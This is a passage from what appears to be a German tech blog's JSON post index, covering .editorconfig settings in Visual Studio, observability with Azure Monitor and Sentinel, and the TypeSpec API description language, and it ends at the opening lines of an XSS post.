Rechtsklick) kann nach einer Editor-Datei gesucht und diese dann hinzugefügt werden. Dabei sollte der Standardname beibehalten werden.\nDie Editor-Config-Datei beinhaltet eine Menge an Einstellungen, die für C#-Dateien gelten.\nDie Einstellungen aus der Editor-Config-Datei gelten für alle Dateien auf derselben Ebene und der Unterordner.\nGetting Started mit .editorconfig in Visual Studio Die Editor-Config-Datei beinhaltet nun einige Einstellungen, wie z.B. die Länge eines Tabstopps oder die Verwendung von tatsächlichen Tabs anstelle von Leerzeichen:\ntab_width = 4 indent_size = 4 indent_style = space Darüber hinaus können auch Konventionen definiert werden. So kann beispielsweise festgelegt werden, dass bei der Verwendung eines IF-Statements nicht die Kurzschreibweise ohne geschweifte Klammern verwendet werden kann, sondern dass explizit welche gesetzt werden müssen - auch wenn es syntaktisch erlaubt wäre. Zusätzlich lässt sich einstellen, ob hierbei nur ein Warning oder die entsprechende Codestelle als Fehler gekennzeichnet wird.\ncsharp_prefer_braces = true:error Der Name gibt die Property an, die Angabe von true oder false, ob diese angewandt werden soll und das error nach dem Doppelpunkt, wie diese Regel angewandt werden soll.\nIn diesem konkreten Beispiel würde hierdurch ein Fehler in der Fehlerliste erscheinen.\nDabei kann der Schweregrad (Severity) in unterschiedlichen Ausprägungen erfolgen:\nNone Silent Suggestion Warning Error Hierdurch erscheint ein Hinweis z.B. in den Warnings als Fehler oder man erhält keine Hinweise.\nMeine persönlichen .editorconfig-Einstellungen In der Vergangenheit haben mir persönlich die Editor-Config-Einstellungen insbesondere beim Refactoring geholfen. Nach dem Refactoring in einer Klasse ist beispielsweise die Sortierung der usings willkürlich oder nicht-verwendete usings verbleiben nach dem Refactoring in der C#-Datei. Bei manchen automatisch hinzugefügten usings wird selbige in vereinfachter Form hinzugefügt und nicht als fully qualified name, was u. U. zur Mehrdeutigkeit mancher usings führen kann.\nMit den folgenden Einstellungen in der Editor-Config-Datei kann dem Ganzen Abhilfe geschaffen werden:\ndotnet_sort_system_directives_first = true: Die System-usings werden alphabetisch sortiert und vor den restlichen usings eingefügt. dotnet_diagnostic.IDE0005.severity = error: Nicht-benötigte usings werden als Fehler erkannt und in der Fehlerliste ausgegeben. csharp_qualified_using_at_nested_scope = true: Das Hinzufügen von usings erfolgt als fully qualified name. Im folgenden Screenshot sind einige usings beliebig sortiert und es befindet sich ein nicht-verwendetes usings darin:\nNach dem Hinzufügen der oben genannten Einstellungen in die Editor-Config-Datei (.editorconfig) und dem Anwenden via STRG + K, STRG + E erhält man folgende Darstellung:\nFazit zur Editor-Config-Datei in Visual Studio Die Editor-Config-Datei gibt Teams die Möglichkeit, gemeinsam Regeln festzulegen und diese anzuwenden, auch wenn in den persönlichen Einstellungen in Visual Studio Gegenteiliges definiert wurde. Sicherlich gibt es hier noch mehr Möglichkeiten, aber ich für meinen Teil habe die größten Mehrwerte insbesondere beim Refactoring gesehen und habe mir angewöhnt, neben der Formatierung (STRG + K, STRG + D) auch die Editor-Config-Regeln (STRG + K, STRG + E) anzuwenden, bevor ich die Datei speichere und verlasse.\n","date":"27. September 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/editorconfig-vs_hu3f855d7f6f7bacf4d6d892ebcc4fe942_515826_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/editorconfig-vs_hu3f855d7f6f7bacf4d6d892ebcc4fe942_515826_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/editorconfig-in-visual-studio/","tags":["tooling",".net"],"title":"Editorconfig in Visual Studio"},{"categories":["Insights"],"contents":"In einer modernen IT-Landschaft ist es entscheidend, dass die Systeme und Anwendungen nicht nur funktionieren, sondern dass auch frühzeitig Trends und Potentiale zur Optimierung und Verbesserung erkannt werden. Damit dies möglich ist, muss das IT-System eine wichtige Eigenschaft besitzen: Observability.\nWas ist Observability? Observability ist nicht einfach ein neues Modewort für Monitoring, die beiden Bereiche unterscheiden sich. Im Monitoring erkenne ich, wenn etwas nicht in Ordnung ist. Die Observability kommt vom englischen Begriff „observe“, auf Deutsch „beobachten“, und ist eine Übermenge des Monitorings. Observability führt die zum Monitoring erstellten Metriken, Protokolle, Traces und andere Telemetriedaten nahezu in Echtzeit zusammen, stellt sie visuell sowie übergreifend dar und erlaubt so Einblicke in den internen Zustand der Anwendungen und der Infrastruktur. Durch die Kombination von Monitoring und den Einsatz von entsprechenden Tools kann also Observability erreicht werden.\nFür wen ist Observability relevant? Observability ist vielmehr ein Attribut eines Systems und besonders für DevOps-Teams relevant, um den Überblick über komplexe verteilte Systeme zu behalten. In diesen können einzelne Komponenten auf mehreren Server, Rechenzentren und Cloud-Anbietern verteilt sein – wie es in mittleren und großen Unternehmen häufig der Fall ist. In solchen Umgebungen ermöglichen Observability-Tools wie Azure Monitor einen ganzheitlichen Blick auf das System und identifizieren und diagnostizieren Probleme über das gesamte System hinweg.\nDie drei Säulen von Observability Um ein übergreifendes Verständnis von Observability zu erhalten, sollten die folgenden drei Ressourcen betrachtet werden. Diese werden auch als die Säulen der Observability bezeichnet:\nLogs: Ein Datensatz darüber, was gerade innerhalb der Software passiert. Metriken: Eine numerische Bemessung der Anwendungsleistung und des Ressourcenverbrauchs. Traces: Englisch für „Spuren“, so kann der Weg einer Anfrage durch das System verfolgt werden. Die Fähigkeit, diese Daten über mehrere Systeme hinweg zu erfassen, wird als Telemetrie bezeichnet.\nLogs Eine gute Observability beginnt in der Anwendungsentwicklung. Der eigene Programmcode muss ein sauberes strukturiertes Logging besitzen und relevante Ereignisse, Fehler und Metriken protokollieren. Die Logs werden zentral, z. B. in Azure Monitor, abgelegt, wo diese mit anderen Signalen kombiniert werden können.\nMetriken Moderne Systeme stellen eine Vielzahl an Metriken bereit, um wichtige Aspekte wie Leistung, Auslastung, Antwortzeiten und andere relevante Informationen zu überwachen. Diese werden ebenfalls zentral über längere Zeiträume in Azure Monitor erfasst, um anhand dieser Zahlen Trends zu erkennen.\nTraces Über Traces lassen sich Anfragen Ende zu Ende durch das System verfolgen und Abhängigkeiten zwischen den Services und der Infrastruktur aufzeigen.\nObservability vs. Monitoring: Der Unterschied Beim Monitoring werden vorher definierte Daten aus dem betrachteten System gesammelt und analysiert, um diese zum Beispiel in einem Dashboard anzuzeigen. Diese Dashboards visualisieren die von den jeweiligen Entwicklern erwarteten Anomalien und Performance-Indikatoren. Allerdings bleiben dabei unvorhergesehene Probleme möglicherweise unter dem Radar und werden gar nicht oder erst viel zu spät erkannt.\nObservability führt Logs, Traces und Metriken aus der kompletten IT Infrastruktur zusammen. Während das Monitoring einfach nur Daten anzeigt, ermöglicht die Observability den Infrastruktur- und DevOps-Teams alle Eingaben und Ausgaben über mehrere Anwendungen, Mikrodienste, Programme, Server und Datenbanken hinweg, übergreifend zu messen, zu verfolgen und zu analysieren.\nWarum ist Observability wichtig? Durch die konsolidierte Überwachung können IT-Teams Anomalien frühzeitig erkennen und proaktiv handeln, bevor sie zu ernsthaften Problemen wie schlechter Performance oder kompletten Downtimes im Unternehmen führen. Indem die Beziehungen zwischen den einzelnen Systemen verstanden werden, bietet Observability handlungsrelevante Einblicke in die Gesundheit des Systems und erkennt Fehler oder verwundbare Angriffsvektoren beim ersten Anzeichen abnormaler Performance. Sollte es bereits zu einem Problem gekommen sein, können IT-Teams auf Basis der zusammengeführten Daten den Vorgang detailliert analysieren und Lösungen finden. Letztlich geht es darum, die Softwarelandschaft stabil, nutzbar und leistungsfähig zu halten.\nWir unterstützen Unternehmen bei der Auswahl, Implementierung und beim Betrieb der für ihre Bedarfe passenden Lösung, beispielsweise basierend auf Standardsoftware wie Azure Monitor. Observability-Tool: Was ist Azure Monitor? Azure-Ressourcen generieren eine erhebliche Menge an Überwachungsdaten. Das Zusammenführen der Daten aus allen Quellen innerhalb und außerhalb von Azure in einen Arbeitsbereich ist die Stärke von Azure Monitor.\nMit Azure Monitor und den eingebauten Tools lassen sich umfassende Funktionen umsetzen:\nSystemzustand in Echtzeit überwachen Daten mit Azure Log Analytics und KQL (Kusto Query Language) abfragen Benachrichtigungen und Alarme erstellen Daten von unterschiedlichen überwachten Ressourcen sammeln Dashboards und Ansichten erstellen, um den Zustand und das Verhalten von Ressourcen zu visualisieren. Workbooks für die Datenanalyse und die Erstellung umfassender visueller Berichte verwenden. Workbooks sind interaktiv und können teamübergreifend mit Datenaktualisierungen in Echtzeit freigegeben werden. Automatische Reaktionen umsetzen, um entweder das System zu skalieren oder mit Azure Logic Apps automatisierte Workflows auszuführen. Azure Monitor kann in Kombination mit Microsoft-Lösungen, Open-Source- und Partnerlösungen arbeiten. Der Vorteil: IT-Teams können die Observability bei Bedarf um zusätzliche Systeme und Anwendungen erweitern und über alle hinweg operieren. Deshalb unterstützen Azure Monitor und alle Azure SDKs OpenTelemetry als herstellerneutralen OpenSource-Standard und integrieren sich nahtlos mit offenen APM-Systemen, wie Prometheus, Grafana, Jaeger und Zipkin aber auch kommerziellen Lösungen.\nQuelle: Azure Monitor – Übersicht | Microsoft Learn Mit der Azure-Monitor-Komponente AIOps kann maschinelles Lernen genutzt werden, um aus den in Azure Monitor gesammelten Daten „Wissen“ über die Systeme zu erlangen. Mit diesem Wissen kann die künstliche Intelligenz (KI) Trends und potenzielle Probleme erkennen, diagnostizieren und im besten Falle vorhersagen.\nObservability als Teil des Software-Entwicklungsprozesses Um eine gute Observability zu erreichen, muss diese in allen Schritten im Lebenszyklus einer Anwendung eine Rolle spielen und von den Entwicklern und dem DevOps-Team als Mittel zur Erstellung von zuverlässiger Software verstanden werden.\nDas beginnt bei der Architektur der Lösung und dem Entwicklungsprozess: Dort muss die Bereitstellung der entsprechenden Telemetriedaten initial umgesetzt werden und zwar nach vorgegebenen Standards in allen Komponenten. Während des Betriebs muss beim Auftreten einer Anomalie ein entsprechender Alert ausgelöst werden, welcher dann zu einem Incident führt, falls es zu einer Beeinträchtigung des Systems bzw. der Stakeholder kommt.\nDiese Zwischenfälle und Systemausfälle müssen im Nachhinein im Rahmen von Retrospektiven oder Postmortems analysiert und die Ergebnisse wieder in die Verbesserung des bestehenden Monitorings sowie in die kontinuierliche Weiterentwicklung der Anwendung einfließen. Dieser Prozess wird oft auch als Observability Engineering bezeichnet.\nObservability: Wie komme ich an Telemetriedaten? Telemetriedaten ermöglichen Monitoring und Monitoring ermöglicht Observability. Doch wie kommen Unternehmen an diese Telemetriedaten? Dazu müssen Entwickler in den folgenden Bereichen Hand anlegen:\nLogging Logging dient dazu, wichtige Ereignisse, Zustände und Fehler während der Laufzeit einer Anwendung zu dokumentieren. Der Grundsatz „viel hilft viel“ wäre hier fehl am Platz, denn wahlloses Logging kann ressourcenintensiv und teuer sein. Stattdessen sollten Unternehmen gezielt loggen und dazu definieren, welche Ereignisse, Zustände und Fehler während der Laufzeit einer Anwendung als relevant eingeschätzt und dokumentiert werden sollen. Logs sollten in allen Anwendungen dasselbe, am besten versionierte Schema verwenden. Das bedeutet, ein Log-Eintrag sieht in allen Schichten der Anwendung gleich aus und nutzt immer gleichbedeutende Log-Level. Am besten wird nur ein produktives Log-Level und „Debug“ während der Entwicklung genutzt.\nInstrumentierung Jede wichtige Kennzahl (Metrik) in einer Anwendung oder einem Dienst sollte erfasst werden. Dazu muss der Anwendung unter Umständen ähnlich wie beim Logging entsprechender Code hinzugefügt werden, um diesen zur Laufzeit zu erfassen. Ein Beispiel: Eine Anwendung kommuniziert mit einer Datenbank und nutzt dazu einen Connection-Pool. Hier ist es wichtig, die Größe dieses Pools und die Anzahl der ungenutzten Verbindungen zu einem bestimmten Zeitpunkt zu verfolgen. Dazu muss der Entwickler einige Codezeilen in die Logik des Verbindungspools einfügen, um zu verfolgen, wann genau Verbindungen erstellt oder geschlossen, wann sie vergeben und wann sie wieder zurückgegeben werden.\nAutomatische Warnungen und Alarme Bei der Entwicklung müssen vom Team für bereits erwartete Schwellenwerte oder kritische Ereignisse bereits Benachrichtigungen vorgesehen werden. Diese bilden die Basis für das initial bereitgestellte Alerting der Anwendung und werden während des Betriebs stetig ausgebaut.\nEchtzeit-Verarbeitung In modernen Cloud-Infrastrukturen erzeugen nicht nur Entwickler in der Software Metriken, sondern automatisch auch die eingesetzten Komponenten. Hier muss dafür gesorgt werden, dass diese ebenfalls z. B. an Azure Monitor gesendet werden, um diese persistieren und nutzen zu können. So kann die Leistung und der Systemzustand inklusive der Komponenten in Echtzeit überwacht werden.\nDokumentation Als Teil des Entwicklungsprozesses müssen die Instrumentierung, Metriken und Protokolle ausführlich dokumentiert werden, um sicherzustellen, dass andere Entwickler und Betreiber die gesammelten Daten verstehen und effektiv nutzen können.\nObservability \u0026amp; Security: Azure Sentinel Observability ist nicht nur im Anwendungskontext relevant, sondern ebenso im Security-Bereich. In diesem Fall werden die Traces, Logs und Metriken zentral in einem Security Information and Event Management System (SIEM-System), wie z. B. Azure Sentinel, zusammengeführt. So können IT-Teams innerhalb dieses Systems Anomalien erkennen und Sicherheitsvorfälle analysieren. Azure Sentinel und Azure Monitor setzen dabei auf denselben Unterbau und ermöglichen auf Grund derselben Tools und Techniken eine besonders einfache und übersichtliche Überwachung von Sicherheit und Funktionalität, insbesondere bei komplexen Incidents.\nAls Dienstleister zur Implementierung und Vernetzung von Cloud-Analytics-Plattformen und Cloud-Security-Systemen unterstützen wir Unternehmen von der Beratung und Konzeption bis zur Umsetzung und zum Betrieb von Monitoring- und Oberservability-Lösungen.\nJetzt in einem kostenlosen Erstgespräch informieren! ","date":"21. September 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/observability_hue2360d540cc310c8e8bf130f0109756d_80080_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/observability_hue2360d540cc310c8e8bf130f0109756d_80080_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/was-ist-observability-von-telemetriedaten-bis-einsatz-und-software-tools/","tags":["azure","security","devsecops","azure-devops"],"title":"Was ist Observability: Von Telemetriedaten bis Einsatz und Software-Tools"},{"categories":["Insights"],"contents":"API-First oder API-First Design ist eines der vielen Buzzwords in der modernen Softwareentwicklung. Doch für die praktische Umsetzung von API-First-Design scheint es an Tools zu mangeln. OpenAPI-Spezifikationen (OAS) sind sehr umfangreich und diese mit Hand zu schreiben, ist durch die vielen Redundanzen im Vergleich zu Code-First fehleranfällig und ineffizient. Ergo bleibt die gängige Standardpraxis Code-First und die Generierung einer OAS aus dem Backend-Code, wodurch die Vorteile des API-First-Designs unter den Tisch fallen.\nDieser Lücke im Werkzeuggürtel der modernen Webentwicklung hat sich Microsoft angenommen und eine API-Spezifikationssprache entwickelt, die verwendet werden kann, um OAS und mehr zu emittieren. Dabei kommen Patterns und Sprachkonstrukte zum Einsatz, die aus Hochsprachen wie TypeScript und C# bekannt sind. In diesem Beitrag betrachten wir diese API-Spezifikationssprache TypeSpec und geben einen Überblick über die wichtigsten Features der Sprache.\nEs folgt eine kurze Einführung in das Thema API-First-Design. Die Ungeduldigen können direkt zum Kapitel TypeSpec springen.\nAPI-First-Design API-First beschreibt den Softwareentwicklungsansatz bei dem die API mit Hilfe einer API-Spezifikationssprache wie OAS oder TypeSpec als erster Schritt im Entwicklungsprozess definiert wird. APIs spielen in der modernen Technologielandschaft eine immer wichtigere Rolle und mit dem API-First-Ansatz wird dieser Fokus auch in der Softwareentwicklung sichtbar und spürbar. Bereits 2018 wurde dieser in der Skill-Up-Umfrage API Driven Architecture als vielversprechender Ansatz in der Softwareentwicklung gesehen.\nAbbildung 1: Auszug aus der Skill-Up-Umfrage 2018 1\nEine wesentliche Motivation für das API-First-Design liegt in der Reduktion von Redundanzen durch die Verwendung einer Single Source of Truth und der damit verbundenen Reduktion von Fehlermöglichkeiten.\nAbbildung 2: Redundanzen in APIs\nAbbildung 2 symbolisiert die Redundanz, die bei der Entwicklung von APIs entsteht. Sowohl im Frontend- als auch im Backend-Code werden Datenschemata definiert, die über die API ausgetauscht werden, sowie Endpunkte, die festlegen, wo und wie diese Datenschemata verwendet werden. Diese Redundanz stellt, wie jede Redundanz in der Entwicklung, eine Fehlerquelle dar.\nAbbildung 3: API-First-Design mit SSOT\nDie in Abbildung 3 dargestellte Vorgehensweise zeigt die Verwendung einer ausgelagerten API-Spezifikation als Single Source of Truth (SSOT). Diese SSOT wird dann mit Hilfe von Codegeneratoren in Frontend- und Backend-Stubs übersetzt. Gleichzeitig dient sie als Nachschlagewerk, um die API mit Tools wie Swagger UI schnell und einfach erkunden zu können.\nDarüber hinaus können einfach weitere verschiedene Frontends aus der SSOT entwickelt werden. Selbst der Wechsel zu einer neuen Backend-Technologie wird durch die Auslagerung der API-Spezifikation vereinfacht.\nBei den generierten Stubs handelt es sich um Code, der die API lediglich syntaktisch implementiert.\nOpenAPI Die OpenAPI-Spezifikation (OAS) ist mittlerweile der De-facto-Standard unter den API-Spezifikationssprachen. Auch wenn OAS gut lesbar und weit verbreit ist, lässt sich OAS auf Grund der Verbosität nicht gut von Hand schreiben. Es fehlen Sprachkonstrukte, die eine schnelle und elegante Wiederverwendung bestimmter Muster auf allen Ebenen der beschriebenen API ermöglichen.\nDer Standard lenkt Entwickelnde quasi zu einem Code-First-Ansatz, bei der die OAS aus dem Code des Backends erstellt wird. Abbildung 4: Code-First mit OAS\nDie in der Abbildung 4 dargestellte Vorgehensweise zeigt den Ablauf, wie aus dem Code des Backends eine OAS generiert wird, die dann für die Entwicklung des Frontends verwendet werden kann. Neben der Verwendung als Referenz bei der Entwicklung des Frontends mit der OAS gibt es mittlerweile unzählige Codegeneratoren für die unterschiedlichsten Frameworks, die aus der OAS die syntaktische Implementierung der API generieren. 2\nTypeSpec TypeSpec ist eine von Microsoft als Open-Source-Projekt 3 entwickelte Sprache, die entwickelt wurde, um APIs zu beschreiben und andere API-Definitionssprachen, Client- und Servercodes, Dokumentationen und andere Komponenten zu generieren. Laut einer Präsentation von Mitgliedern des TypeSpec-Entwicklungsteams besteht das Hauptziel der Entwicklung von TypeSpec jedoch darin, als bessere Toolchain für die Generierung von OAS zu dienen. 4\nAbbildung 5: API-First mit TypeSpec\nAbbildung 5 zeigt die Verwendung von TypeSpec als SSOT. Aus TypeSpec wird OAS generiert, aus dem mit Hilfe vorhandener Codegeneratoren Stubs für Frontend und Backend erzeugt werden können.\nTypeSpec ermöglicht die Beschreibung von APIs auf einer höheren Abstraktionsebene als der derzeitige Industriestandard OpenAPI. Dies beinhaltet die Wiederverwendung abstrakter Muster im Design der API selbst und erleichtert die Identifikation dieser Muster beim Design einer API. Darüber hinaus erlaubt TypeSpec die Definition von Best Practices. Spezifikationen können anschließend auf die Anwendung dieser geprüft werden. Die Syntax von TypeSpec weist viele Ähnlichkeiten mit bekannten Programmiersprachen wie TypeScript oder C# auf.\nTypeSpec befindet sich noch in einem frühen Entwicklungsstadium. Die in diesem Blogbeitrag beschriebene Version der Sprache ist Version 0.46.0. Neben Emittern für OAS sind auch Emitter für JSON-Schema und Protobuf verfügbar, die jedoch noch nicht voll funktionsfähig sind. 5\nIm Folgenden werden die grundlegenden Sprachkonstrukte von TypeSpec erklärt. Für weitere Beispiele und zum interaktiven Experimentieren bietet Microsoft einen Playground für TypeSpec an. Der Playground übersetzt TypeSpec live zu OAS.\nTypeSpec-Model Ein TypeSpec-Model beschreibt ein Datenschema, das in der API verwendet wird. Models können DTOs sein, die über die API ausgetauscht werden, aber auch Fehlertypen, Request-Parameter oder jedes andere Datenschema.\nmodel Pet { id: int64; name: string; type?: \u0026#34;cat\u0026#34; | \u0026#34;dog\u0026#34;; } Listing 1: TypeSpec Pet Model\nDie Eigenschaften von Models werden ähnlich wie die Eigenschaften von Interfaces in TypeScript deklariert. Listing 1 zeigt ein solches Model mit dem Namen Pet. Es hat die Eigenschaften id vom Typ int64, name vom Typ string. type ist vom Typ string und kann nur die Werte cat oder dog annehmen. Der Typ von type ist dabei mit einem anonymen Union-Type in TypeScript vergleichbar. type ist im Beispiel hierbei eine optionale Eigenschaft, was durch das Fragezeichen hinter dem Namen definiert ist.\nEnums in TypeSpec TypeSpec ermöglicht die Definition von Enums. Diese können unter anderem als Typ von Eigenschaften von Models genutzt werden. Dadurch kann beispielsweise dem anonymen Union-Type im Beispiel Listing 2 ein spezifischer Name gegeben werden. Hierdurch lässt sich der Typ mehrfach verwenden. Die Umsetzung hiervon ist in Listing 3 gegeben.\nenum PetType { \u0026#34;cat\u0026#34;; \u0026#34;dog\u0026#34;; } Listing 2: TypeSpec PetType Enum\nDas Enum PetType könnte dann in Zeile 4 von Listing 1, wie in Listing 3 dargestellt, angewandt werden.\ntype?: PetType Listing 3: Verwendung von PetType in Pet Darüber hinaus müssen Enums in TypeSpec nicht vom Typ string sein.\nDecorators in TypeSpec Decorators erlauben das Anhängen von Metadaten an Typen und Eigenschaften der Sprache. Das Konzept von Decorators ermöglicht es somit, verschiedene Arten von APIs mit TypeSpec zu beschreiben. Metadaten können hierbei Dokumentationen, Constraints und vieles mehr sein.\nTypeSpec selbst enthält nur eine kleine Anzahl an Decorators. Es existieren jedoch viele offizielle TypeSpec-Bibliotheken, die weitere Decorators definieren, um typische Funktionalitäten zu implementieren. Je nach Anwendungsfall werden diese Decorators über den Import der jeweiligen Bibliotheken dem spezifischen TypeSpec-Projekt hinzugefügt. Die Decorators sind in Namespaces gekapselt, welche später in diesem Kapitel erläutert werden.\nEin Beispiel für Decorators findet sich in Listing 8. Hier sind @minLength() und @pattern() Decorators.\nScalars Scalars sind Typen wie string, int32 oder boolean, die keine eigenen Eigenschaften haben. Scalars können mit dem extends Keyword andere Scalars erweitern. Ein Beispiel hierfür ist in Listing 4 gegeben. Password ist damit ein Datentyp, der bspw. in Models verwendet werden kann. Die Decorators beschreiben, dass die Passwörter eine minimale Länge von 8 haben sollen und dem regulären Ausdruck entsprechen müssen.\n@minLength(8) @pattern(\u0026#34;^(?=.*?[#?!@$%^\u0026amp;*-])\u0026#34;) scalar Password extends string; Listing 4: Decorators in TypeSpec\nNamespaces Namespaces erlauben die Gruppierung von Typen wie Scalars, Enums und Models in eigenen Namensräumen. Dies verhindert Namenskonflikte in großen APIs und ermöglicht klar definierte Grenzen innerhalb einer API. Namespaces und die in ihnen enthaltenen Typen können hierbei von überall leicht referenziert werden. Namespaces selbst können wiederum auch in anderen Namespaces enthalten sein, wobei es keine maximale Verschachtelungstiefe gibt. Darüber hinaus können Namespaces mit dem using Keyword in einer anderen TypeSpec-Datei verwendet werden, wenn diese importiert wurde.\nIm Beispiel Listing 8 wird in Zeile 1 eine andere TypeSpec-Datei importiert und in Zeile 2 der Namespace TypeSpec.Http importiert. Beim importierten Namespace TypeSpec.Http handelt es sich hierbei um einen offiziellen Namespace der Sprache, der neben Models und Scalars auch Decorators definiert. Die Decorators des Namespaces müssen hierbei in JavaScript-Dateien definiert werden. Derselbe Mechanismus, der es erlaubt Decorators in den offiziellen Namespaces zu definieren und diese anderen Namespaces durch den Import zur Verfügung zu stellen, kann auch dafür eingesetzt werden, die Sprache mit selbstdefinierten Decorators zu erweitern.\nOperations Operations definieren Operationen, die in der definierten API ausgeführt werden können. Sie entsprechen beispielsweise den Endpunkten in einer REST-API und bestehen in TypeSpec aus einem Namen, Parametern und einem Rückgabetyp. Operations können entweder mit dem Keyword is oder innerhalb von Strukturen zur Wiederverwendung von Operationen, die Interfaces (siehe Interfaces) genannt werden, wiederverwendet werden. Das Keyword, um Operations zu deklarieren, ist op. Operations gleichen in ihrer Struktur den Methoden in TypeScript. Ein Beispiel für eine Operation ist in Listing 4 gegeben. Hier ist die Operation getPet definiert, die als Pfadparameter eine id vom Typ int64 erwartet und ein Model vom Typ Pet zurückgibt.\nop getPet(@path id: int64): Pet; Listing 5: Einzelne Operation in TypeSpec\nDer OAS-Emitter von TypeSpec erkennt die in Listing 4 definierte Operation hierbei eindeutig als GET-Operation. TypeSpec erkennt anhand des Datentyps und des Decorators der Parameter und Rückgabewerte welche HTTP-Methode einer Operation zuzuordnen ist. Die HTTP-Methode kann jedoch auch über Decorators explizit gesetzt werden.\nInterfaces Interfaces werden in TypeSpec verwendet, um Operations zu gruppieren und sie wiederverwendbar zu machen. Interfaces können hierbei generisch sein und so beispielsweise ein CRUD-Interface generisch darstellen. Listing 5 zeigt ein Beispiel, wie ein solches CRUD-Interface wiederverwendet werden kann. Es wird hierbei ein generisches Interface erstellt, welches Operations für alle 4 CRUD-Methoden bereitstellt.\ninterface CRUDService\u0026lt;TType\u0026gt; { @get get(@path id: string): TType | Error; @post post(@path id: string, type: TType): TType | Error; @put put(@path id: string, type: TType): void | Error; @delete delete(@path id: string): void | Error; } @route(\u0026#34;/pets\u0026#34;) interface petService extends CRUDService\u0026lt;Pet\u0026gt; {} @route(\u0026#34;/fish\u0026#34;) interface fishService extends CRUDService\u0026lt;Fish\u0026gt; {} Listing 6: Wiederverwendung von generischen Interfaces in TypeSpec\nInnerhalb der beiden Implementierungen des generischen Interfaces können hierbei weitere, vom Typ abhängige Methoden spezifiziert werden. Diese Verwendung von generischen Interfaces entspricht in etwa der Vererbung von Methoden von Klassen in der objektorientierten Programmierung. Ein Interface kann in TypeSpec darüber hinaus auch von mehreren anderen Interfaces erben.\nSpread-Operator Der Spread-Operator ... erlaubt es, die Eigenschaften eines Models innerhalb eines anderen Models zu verwenden. Der Operator kopiert hierbei alle Eigenschaften des Quellmodels in das Zielmodel, ohne dabei eine Beziehung zwischen Quell- und Zielmodel herzustellen. Zusammengefasst erlaubt der Operator die Wiederverwendung von gemeinsamen Eigenschaften, ohne dabei der klassischen Vererbungsstruktur zu entsprechen. Da der Spread-Operator keine semantische Bedeutung hat, kann er auch mehrfach angewandt werden. Listing 7 zeigt ein Beispiel für die Verwendung des Spread-Operators. Das resultierende Model Pet ist identisch mit dem in Listing 1 definierten Model Pet.\nmodel Pet { ...HasId; ...NamedEntity; type?: \u0026#34;cat\u0026#34; | \u0026#34;dog\u0026#34;; } model HasId { id: int64; } model NamedEntity { name: string; } Listing 7: Verwendung des Spread-Operators\nZusammenhängendes Beispiel für API-First-Design mit TypeSpec Ein zusammenhängendes Beispiel für das Hello-World des API-First-Designs ist in Listing 8 gegeben. Die generierte OAS umfasst stolze 106 Zeilen, während die TypeSpec-Spezifikation nur 34 Zeilen kurz ist.\nimport \u0026#34;@typespec/http\u0026#34;; using TypeSpec.Http; @service({ title: \u0026#34;Swagger Petstore\u0026#34;, version: \u0026#34;1.0.0\u0026#34;, }) namespace DemoService; model Pet { id: int64; name: string; type?: string; } @maxItems(100) model Pets is string[]; @error model Error { code: int32; message: string; } @route(\u0026#34;pets\u0026#34;) @tag(\u0026#34;pets\u0026#34;) interface pets { @get list(@query limit?: int32): { @header(\u0026#34;x-next\u0026#34;) `x-next`: string; @body pets: Pets; } | Error; @get read(@path id: string): Pet | Error; @post create (...Pet): OkResponse; } Listing 8: TypeSpec-Spezifikation für das PetStore-Beispiel\nAPI-First-Design mit TypeSpec: ein Fazit Mit TypeSpec stellt Microsoft ein mächtiges Werkzeug vor, das den theoretischen Nutzen des API-First-Designs endlich praktisch anwendbar macht. Auch wenn API-First nicht für jedes Projekt der beste Ansatz ist, so gibt es doch viele Bereiche, die eindeutig von API-First profitieren. Der Open-Source-Charakter von TypeSpec ermöglicht zudem eine einfache Erweiterung der Sprache. Vielleicht wird es neben OAS, JSON Schema und Protobuf bald noch weitere Emitter geben? Ich denke da zum Beispiel an GraphQL und erste Codegeneratoren für Programmiersprachen und Frameworks, die den Zwischenschritt über OAS - und den damit verbundenen Informationsverlust - überflüssig machen.\nSkill-Up Survey (2018) Bildquelle \u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEine gute Sammlung von Tools für OAS findet sich hier \u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTypeSpec Github \u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNorzagaray, H, Kistler, M, Weitzel, M (2023): Introducing TypeSpec Azure SDK Community Standup auf YouTube \u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTypeSpec Documentation \u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"7. September 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/api-typespec_hu67dcc86741b9fb07b206d8b37a02ebe6_223140_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/api-typespec_hu67dcc86741b9fb07b206d8b37a02ebe6_223140_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/api-first-design-mit-typespec/","tags":["tooling"],"title":"API-First-Design mit TypeSpec"},{"categories":["Insights"],"contents":"One of the most prevalent security threats we face in the world-wide-web is Cross-Site Scripting (XSS). XSS occurs when an attacker manages to inject a malicious script into a web site or application, which is then executed in the context of a user\u0026rsquo;s browser - unwantedly acting on-behalf of the victim. When we as developers build web applications with React, the framework already protects us with a good set of built-in safety measures from unintentionally implementing these kind of 